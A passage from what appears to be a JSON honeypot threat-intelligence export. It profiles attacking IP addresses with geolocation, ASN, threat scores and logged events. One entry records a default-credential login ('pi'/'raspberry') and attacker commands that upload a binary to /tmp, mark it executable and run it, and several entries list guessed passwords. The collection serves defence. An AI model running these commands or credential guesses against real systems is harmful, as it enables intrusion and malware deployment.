      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:32:01.654000+00:00",
        "last_seen_30d": "2026-04-30T10:48:48.260000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "178.238.229.250": {
      "attack_count": 34,
      "first_seen": "2026-04-30T16:18:56.927Z",
      "last_seen": "2026-04-30T16:22:10.304Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:18:56.927000+00:00",
        "last_seen_30d": "2026-04-30T16:23:16.735000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "119.183.25.133": {
      "attack_count": 26,
      "first_seen": "2026-04-16T16:36:14.201Z",
      "last_seen": "2026-04-16T16:39:02.473Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:36:14.201000+00:00",
        "last_seen_30d": "2026-04-16T16:40:08.786000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "218.157.163.203": {
      "attack_count": 26,
      "first_seen": "2026-04-01T13:20:38.051Z",
      "last_seen": "2026-04-01T13:20:42.756Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberryraspberry993311",
        "raspberry"
      ],
      "commands_executed": [
        "./E2KmF87D",
        "cd /tmp && chmod +x E2KmF87D && bash -c ./E2KmF87D",
        "scp -t /tmp/E2KmF87D"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.var",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:20:38.051000+00:00",
        "last_seen_30d": "2026-04-01T13:21:48.830000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 8
      }
    },
    "103.26.42.236": {
      "attack_count": 22,
      "first_seen": "2026-04-30T13:55:35.444Z",
      "last_seen": "2026-04-30T13:58:09.312Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 38532,
      "as_org": "Exabytes Network Singapore Pte. Ltd.",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:55:35.444000+00:00",
        "last_seen_30d": "2026-04-30T13:59:16.834000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "196.204.71.189": {
      "attack_count": 20,
      "first_seen": "2026-04-02T01:01:46.418Z",
      "last_seen": "2026-04-29T12:29:29.079Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Giza",
      "asn": 24835,
      "as_org": "RAYA Telecom - Egypt",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T01:01:46.418000+00:00",
        "last_seen_30d": "2026-04-29T12:30:38.163000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "87.121.69.138": {
      "attack_count": 20,
      "first_seen": "2026-04-19T03:50:24.659Z",
      "last_seen": "2026-04-19T03:50:27.746Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213035,
      "as_org": "Des Capital B.V.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T03:50:24.659000+00:00",
        "last_seen_30d": "2026-04-19T03:51:35.460000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "129.222.172.38": {
      "attack_count": 19,
      "first_seen": "2026-04-16T19:46:04.928Z",
      "last_seen": "2026-04-20T05:36:09.196Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T19:46:04.928000+00:00",
        "last_seen_30d": "2026-04-20T05:37:19.220000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 12
      }
    },
    "95.174.97.156": {
      "attack_count": 18,
      "first_seen": "2026-04-10T16:08:24.245Z",
      "last_seen": "2026-04-10T23:50:50.721Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech1234.",
        "kelltech!2025",
        "kelltech1#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Taganrog",
      "asn": 60246,
      "as_org": "Consumer Internet Cooperative PG-19",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:08:24.245000+00:00",
        "last_seen_30d": "2026-04-10T23:52:00.224000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "51.253.247.8": {
      "attack_count": 16,
      "first_seen": "2026-04-29T21:48:27.399Z",
      "last_seen": "2026-04-29T21:58:45.694Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Medina",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:48:27.399000+00:00",
        "last_seen_30d": "2026-04-29T21:59:46.835000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "65.49.1.24": {
      "attack_count": 15,
      "first_seen": "2026-04-15T15:22:38.423Z",
      "last_seen": "2026-04-20T06:29:30.365Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T09:05:24+00:00",
        "last_seen_30d": "2026-04-30T14:22:22.509000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 180,
        "Honeytrap": 69,
        "Cowrie": 15,
        "Redishoneypot": 11,
        "Dionaea": 6,
        "ConPot": 2,
        "ElasticPot": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "14.103.111.167": {
      "attack_count": 13,
      "first_seen": "2026-04-09T23:51:52.121Z",
      "last_seen": "2026-04-10T00:08:43.444Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "testuser"
      ],
      "passwords_attempted": [
        "testing"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:51:52.121000+00:00",
        "last_seen_30d": "2026-04-10T00:17:15.889000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 8
      }
    },
    "42.177.92.168": {
      "attack_count": 12,
      "first_seen": "2026-04-26T12:00:40.744Z",
      "last_seen": "2026-04-26T12:01:17.832Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T12:00:40.744000+00:00",
        "last_seen_30d": "2026-04-26T12:03:15.031000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 12
      }
    },
    "150.95.84.76": {
      "attack_count": 8,
      "first_seen": "2026-04-30T17:09:41.456Z",
      "last_seen": "2026-04-30T17:13:08.181Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 135161,
      "as_org": "GMO-Z com NetDesign Holdings Co., Ltd.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:09:41.456000+00:00",
        "last_seen_30d": "2026-04-30T17:14:08.445000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "179.250.248.2": {
      "attack_count": 8,
      "first_seen": "2026-04-28T07:35:09.770Z",
      "last_seen": "2026-04-28T07:43:11.950Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 26615,
      "as_org": "TIM SA",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:35:09.770000+00:00",
        "last_seen_30d": "2026-04-28T07:44:13.311000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "192.42.116.95": {
      "attack_count": 8,
      "first_seen": "2026-04-19T19:05:56.201Z",
      "last_seen": "2026-04-19T19:06:18.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T19:05:56.201000+00:00",
        "last_seen_30d": "2026-04-19T19:07:19.834000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "203.55.131.5": {
      "attack_count": 8,
      "first_seen": "2026-04-19T11:41:34.370Z",
      "last_seen": "2026-04-19T19:15:51.418Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 28,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T03:19:36.080000+00:00",
        "last_seen_30d": "2026-04-29T01:23:09.387000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 358,
        "Honeytrap": 98,
        "Cowrie": 8,
        "Dionaea": 7,
        "Ciscoasa": 6,
        "H0neytr4p": 1
      }
    },
    "205.210.31.226": {
      "attack_count": 8,
      "first_seen": "2026-04-14T10:47:27.902Z",
      "last_seen": "2026-04-15T16:36:22.190Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 27,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:55:33.995000+00:00",
        "last_seen_30d": "2026-04-27T05:42:00.205000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 24,
        "Cowrie": 8,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "135.119.112.180": {
      "attack_count": 7,
      "first_seen": "2026-04-27T04:02:39.380Z",
      "last_seen": "2026-04-27T04:02:49.380Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.5,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T11:31:32+00:00",
        "last_seen_30d": "2026-04-27T04:03:52.812000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 8,
        "Cowrie": 7
      }
    },
    "117.50.130.2": {
      "attack_count": 6,
      "first_seen": "2026-04-10T11:13:41.482Z",
      "last_seen": "2026-04-10T11:15:39.226Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:13:41.482000+00:00",
        "last_seen_30d": "2026-04-10T11:16:41.181000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "146.190.114.228": {
      "attack_count": 6,
      "first_seen": "2026-04-19T20:15:40.022Z",
      "last_seen": "2026-04-19T20:15:40.321Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T20:12:09.474000+00:00",
        "last_seen_30d": "2026-04-19T20:16:45.158000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "172.236.228.222": {
      "attack_count": 6,
      "first_seen": "2026-04-28T21:35:50.045Z",
      "last_seen": "2026-04-28T21:35:50.319Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 26,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T22:53:09+00:00",
        "last_seen_30d": "2026-04-28T21:36:54.966000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 22,
        "Cowrie": 6
      }
    },
    "43.248.109.231": {
      "attack_count": 6,
      "first_seen": "2026-04-29T04:11:39.085Z",
      "last_seen": "2026-04-29T04:11:39.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 24,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T02:52:05+00:00",
        "last_seen_30d": "2026-04-29T04:12:40.270000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4,
        "Honeytrap": 2
      }
    },
    "66.132.172.43": {
      "attack_count": 6,
      "first_seen": "2026-04-01T22:36:43.317Z",
      "last_seen": "2026-04-01T22:37:18.243Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:36:43.317000+00:00",
        "last_seen_30d": "2026-04-30T07:06:15.697000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 42,
        "Cowrie": 6,
        "Tanner": 4,
        "Honeyaml": 3
      }
    },
    "66.132.195.78": {
      "attack_count": 6,
      "first_seen": "2026-04-14T00:35:07.878Z",
      "last_seen": "2026-04-14T00:35:47.796Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T19:54:50+00:00",
        "last_seen_30d": "2026-04-30T22:48:07.911000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 34,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "66.132.195.90": {
      "attack_count": 6,
      "first_seen": "2026-04-24T20:39:06.453Z",
      "last_seen": "2026-04-24T20:39:45.901Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T08:57:25+00:00",
        "last_seen_30d": "2026-04-30T18:19:38.007000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 73,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "8.222.181.172": {
      "attack_count": 6,
      "first_seen": "2026-04-09T00:49:09.918Z",
      "last_seen": "2026-04-09T00:49:13.659Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 16,
